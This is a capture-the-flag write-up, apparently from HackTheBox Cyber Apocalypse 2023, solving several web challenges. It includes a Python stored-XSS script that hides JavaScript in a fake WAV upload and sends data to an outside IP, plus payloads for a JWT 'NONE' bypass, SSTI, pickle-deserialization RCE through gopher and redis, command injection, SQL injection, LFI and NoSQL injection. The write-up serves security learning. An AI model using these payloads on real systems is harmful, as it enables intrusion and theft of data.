HackTheBox CyberApocalypse 2k23 writeups (Rowra)
- after registering an agent, you can update its details, which is then reflected on the admin site.
XSS
works! - the page implements
script-src: self
so we can't useRFI
or eveninline
scripts. That scripts needs to be local! - we can upload
wav
files which after being uploaded end up in the/uploads
directory, with auuid
name and no extension. No extension can indeed be loaded as workingjs
- the upload process has some validators but they're all easily cheated: the original extension is irrelevant for our payload and the latter check only validates if the proper wave file magic bytes are present in the file, however, it doesn't need to begin with those to pass the test!
- summarizing the steps are:
- register an agent
- craft & upload a malicious javascript-wave file
- update the agent's details to implement the XSS, using the previously uploaded javascript file - which is local by now
- wait for the callback and receive the flag
Due to the sheer complexity of this challenge I programmed it:
import requests
import sys
base = 'http://127.0.0.1:1337'
base = f'http://{sys.argv[1]}'
s = requests.Session()
def agent_register():
url = f'{base}/agents/register'
r = s.get(url)
return r.json()
def agent_upload(agent, payload):
url = f'{base}/agents/upload/{agent["identifier"]}/{agent["token"]}'
mfd = {'recording': ('test.wav', payload, 'audio/wave')}
r = s.post(url, files=mfd)
if r.status_code == 200:
return r.text
raise Exception('ERROR failed to upload')
def agent_update(agent, data):
url = f'{base}/agents/details/{agent["identifier"]}/{agent["token"]}'
r = s.post(url, json=data)
return 'SUCCESS' if r.status_code == 200 else 'ERROR'
# step 1 agent regisztráció
agent = agent_register()
# step 2 malicious wav - javascript feltöltés
payload = b'''
window.location = 'http://84.236.80.251:4444/' + document.getElementsByTagName("h2")[0].innerText.split("Welcome back ")[1];
''' # a lényeg
payload += b'\n/*' # új sor + egy komment kezdet, biztos ami biztos
payload += b'\x52\x49\x46\x46\x2f\x2a\x16\x00\x57\x41\x56\x45' # WAVE magicbyte és/vagy ami kell a backendnek
payload += b'*/' # van egy `/*` karakter a WAVE magic byte -ban, amire sír a JS, szóval le kell zárni :D
filename = agent_upload(agent, payload)
print(f'Got filename {filename}')
# step 3 XSS az admin panelre ;]
data = {'hostname': f'<script src="/uploads/{filename}"></script>',
'platform': 'pwnd by',
'arch': 'RWR'}
print(agent_update(agent, data))
- in
middleware/AdminMiddleware.js
you can notice theelse
clause in whichjwt.verify
func. call's 2nd parameter isnull
. This means there's not crypt involved. This obviously means very easily crafted JWTs - the only
algorithm
matching this isnone
, however, the code's supposed to defend against that with an early return in the code - with some trial & error I managed to bypass the mentioned early return by using the algorithm
NONE
(capital). Meaning the actual working payload as follows (parts are separated by a.
dot): 1st part:echo -n '{"typ":"JWT","alg":"NONE"}' | base64
2nd part: the one you already have, just changeid
to1
(admin's id) 3rd part: empty (nothing following the.
) - as the webapp's admin, still need to access
/flag.txt
. The code rendering/admin
endpoint usesJSRender NodeJS
. All that was left to do is to register a user with a username that's exploiting SSTI and then check/admin
page for the flag. Working payload:{"username":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}","password":"fdg"}
- you can read
admin:admin
admin creds from the source code - you can follow the flow of the code but a check added on the admin page eventually lands at
worker/curltest.py
. It's quite obviously unsanitized, will run anything - there's a python pickle deserialization which is a pretty bad practice and unsafe if we can control the input. It happens at multiple stages but I chose
application/cache.py
'sget_job_queue
function as I deemed it pretty stable and easily reproduced at any time. This functions expects ajob_id
after which it'll read the job with that id from redis and unserialize it without any sanitization, again. The API endpoint belonging to this function call is/api/tracks/<id>/status
libcurl
can dogopher
and redis may be controller through gopher calls.- To put it all together and summarize:
- generate payload:
import pickle
import base64
import os
class RWR:
def __reduce__(self):
cmd = '''curl -XPOST http://127.0.0.1:1337/api/tracks/add -d "{\\"trapName\\": \\"`/readflag`\\", \\"trapURL\\": \\"http://1.2.3.4\\"}" -H "Co
ntent-Type: application/json" -H "Cookie: session=<admin cookie here>"'''
return os.system, (cmd, )
if __name__ == '__main__':
pickled = pickle.dumps(RWR())
b64 = base64.b64encode(pickled).decode()
print(f'gopher://127.0.0.1:6379/_hset%20jobs%204444%20{b64}')
- add the
gopher://
link received (payload) on the admin page - detonate payload by
GET
ting/api/tracks/4444/status
- go back to the admin site to collect the flag from the name of yet another added entry
- register a random user
- play around with the
graphql
queries and realise thathelpers/GraphqlHelper.js
line#96
UpdatePassword
does not check anything. A simple auth will do just fine and you can edit anyone's password - craft a malicious
graphql query
: {"query":"mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message } }","variables":{"username":"admin","password":"hahayouredone"}} - login as admin
- the
/PING
command is pretty shady. Feels like it's passed straight through to shell /ping 127.0.0.1; whoami
works just fine/ping 127.0.0.1; ls /
shows the flag as/flag.txt
/ping 127.0.0.1; cat /flag.txt
- in the source code you can see the
js
included/static/js/script.js
script.js
has a function calledcheckPin
which checks if entered ping is equal toCONFIG.correctPin
- just enter
CONFIG.correctPin
in the browser console and get the correct code7298
- in
database.py
you can see that it ojnly queries the user and checks the password later on, trying to prevent sqli. It didnt really work as expected, it's just as vulnerable just maybe a little more difficult. Working payload withunion injection
:admin" union select "rowra","bb84c3e15018b35b6994f3ad7cb1c453" order by username desc-- -
(is the username) and gecosz is the password - payload for the
/api/export
endpoint is a simpleLFI
:{"name": "../signal_sleuth_firmware"}
database.py
hints it's going to be sqli and it's pretty visible too- login as username
admin
password:1" or "1"="1"-- -
- to get the admin password use nosql injection
POST /api/products
...
[
{"$match":{"instock":"nope"
}},{"$unionWith":{"coll":"users",
"pipeline": [{
"$project":{
"username": 1,
"password":1
}}
]
}}
]
- there's an unsafe
unserialize
call evaluating theaccess
property of the user being logged in inbackend/models/UserModel.php
. So all that's left to do is find a working gadget/payload and update the user's access property:
POST /admin/api/users/update
...
{"_id":1,"username":"admin","password":"lacika"
,
"access": "<working gadget payload that I didn't find>"
}